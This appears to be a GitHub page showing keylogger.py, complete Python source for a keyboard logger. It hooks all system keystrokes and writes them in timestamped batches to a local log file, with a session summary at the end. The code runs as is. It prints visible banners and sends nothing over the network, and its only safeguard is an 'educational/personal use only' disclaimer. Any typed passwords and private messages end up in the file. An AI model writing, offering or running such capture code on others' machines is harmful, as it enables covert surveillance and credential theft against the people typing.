-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
194 lines (158 loc) · 6.51 KB
/
keylogger.py
File metadata and controls
194 lines (158 loc) · 6.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
import keyboard
import time
from datetime import datetime
import os
class KeyboardLogger:
def __init__(self, log_file="keystroke_log.txt", buffer_time=3):
if not log_file or log_file.isspace():
log_file = "keystroke_log.txt"
self.log_file = log_file
self.buffer = []
self.buffer_time = buffer_time # Save after X seconds of typing
self.running = False
self.last_keystroke = time.time()
self.session_start = None
self.modifier_keys = {'ctrl', 'alt', 'shift', 'cmd', 'win'}
def on_key_event(self, event):
"""Callback function for key events"""
if not self.running:
return
if event.event_type == 'down':
key_name = event.name.lower()
# Ignore standalone modifier keys
if key_name in self.modifier_keys:
return
# Handle special keys with clean formatting
if key_name == 'space':
key_char = ' '
elif key_name == 'enter':
key_char = '\n'
elif key_name == 'tab':
key_char = '\t'
elif key_name == 'backspace':
if self.buffer:
self.buffer.pop()
key_char = ''
elif len(key_name) > 1:
# Ignore other special keys (arrows, function keys, etc)
return
else:
key_char = key_name
if key_char:
self.buffer.append(key_char)
self.last_keystroke = time.time()
def format_timestamp(self):
"""Return formatted timestamp"""
return datetime.now().strftime('%Y-%m-%d %I:%M:%S %p')
def save_buffer(self):
"""Save current buffer to file with clean formatting"""
if not self.buffer:
return
try:
log_dir = os.path.dirname(self.log_file)
if log_dir and not os.path.exists(log_dir):
os.makedirs(log_dir, exist_ok=True)
with open(self.log_file, 'a', encoding='utf-8') as f:
timestamp = self.format_timestamp()
text_batch = ''.join(self.buffer)
# Clean formatting: timestamp followed by content
f.write(f"[{timestamp}]\n")
f.write(f"{text_batch}\n")
f.write("-" * 70 + "\n\n")
print(f"✓ Saved {len(self.buffer)} characters at {self.format_timestamp()}")
self.buffer.clear()
except Exception as e:
print(f"Error saving: {e}")
def auto_save_check(self):
"""Check if buffer should be saved based on inactivity"""
if self.buffer and (time.time() - self.last_keystroke) > self.buffer_time:
self.save_buffer()
def start_logging(self):
"""Start the keylogger"""
if self.running:
print("Logger is already running")
return
self.running = True
self.session_start = datetime.now()
print("\n" + "="*70)
print("🎯 ENHANCED KEYBOARD LOGGER")
print("="*70)
print(f"📁 Log file: {os.path.abspath(self.log_file)}")
print(f"⏱️ Auto-save after {self.buffer_time} seconds of inactivity")
print("💡 Type naturally - special keys are filtered for cleaner logs")
print("⏹️ Press ESC to stop logging")
print("="*70)
# Initialize log file
try:
with open(self.log_file, 'w', encoding='utf-8') as f:
f.write("KEYSTROKE LOG - CLEAN FORMAT\n")
f.write("=" * 70 + "\n")
f.write(f"Session Started: {self.session_start.strftime('%Y-%m-%d %I:%M:%S %p')}\n")
f.write("=" * 70 + "\n\n")
print("✓ Log file initialized!\n")
except Exception as e:
print(f"❌ Error creating log file: {e}")
return
# Set up keyboard hook
keyboard.hook(self.on_key_event)
try:
print("🔄 Listening for keystrokes...\n")
# Main loop with periodic auto-save checks
while self.running:
time.sleep(0.5) # Check every 0.5 seconds
self.auto_save_check()
if keyboard.is_pressed('esc'):
break
self.stop_logging()
except KeyboardInterrupt:
self.stop_logging()
except Exception as e:
print(f"❌ Unexpected error: {e}")
self.stop_logging()
def stop_logging(self):
"""Stop the keylogger and save remaining buffer"""
if not self.running:
return
self.running = False
keyboard.unhook_all()
# Save any remaining buffer
if self.buffer:
self.save_buffer()
session_end = datetime.now()
duration = session_end - self.session_start
# Add session summary
try:
with open(self.log_file, 'a', encoding='utf-8') as f:
f.write("\n" + "=" * 70 + "\n")
f.write("SESSION SUMMARY\n")
f.write("=" * 70 + "\n")
f.write(f"Started: {self.session_start.strftime('%Y-%m-%d %I:%M:%S %p')}\n")
f.write(f"Ended: {session_end.strftime('%Y-%m-%d %I:%M:%S %p')}\n")
f.write(f"Duration: {str(duration).split('.')[0]}\n")
f.write("=" * 70 + "\n")
except Exception as e:
print(f"Error writing summary: {e}")
print("\n" + "="*70)
print("🎯 LOGGING STOPPED")
print("="*70)
print(f"📁 Log saved to: {os.path.abspath(self.log_file)}")
print(f"⏱️ Session duration: {str(duration).split('.')[0]}")
print("="*70 + "\n")
def main():
print("\n🔑 ENHANCED KEYBOARD LOGGER")
print("✨ Clean, Readable Format")
print("⚠️ FOR EDUCATIONAL/PERSONAL USE ONLY\n")
# Customize settings here
logger = KeyboardLogger(
log_file="keystroke_log.txt",
buffer_time=3 # Save after 3 seconds of inactivity
)
try:
logger.start_logging()
except Exception as e:
print(f"❌ Error: {e}")
finally:
if logger.running:
logger.stop_logging()
if __name__ == "__main__":
main()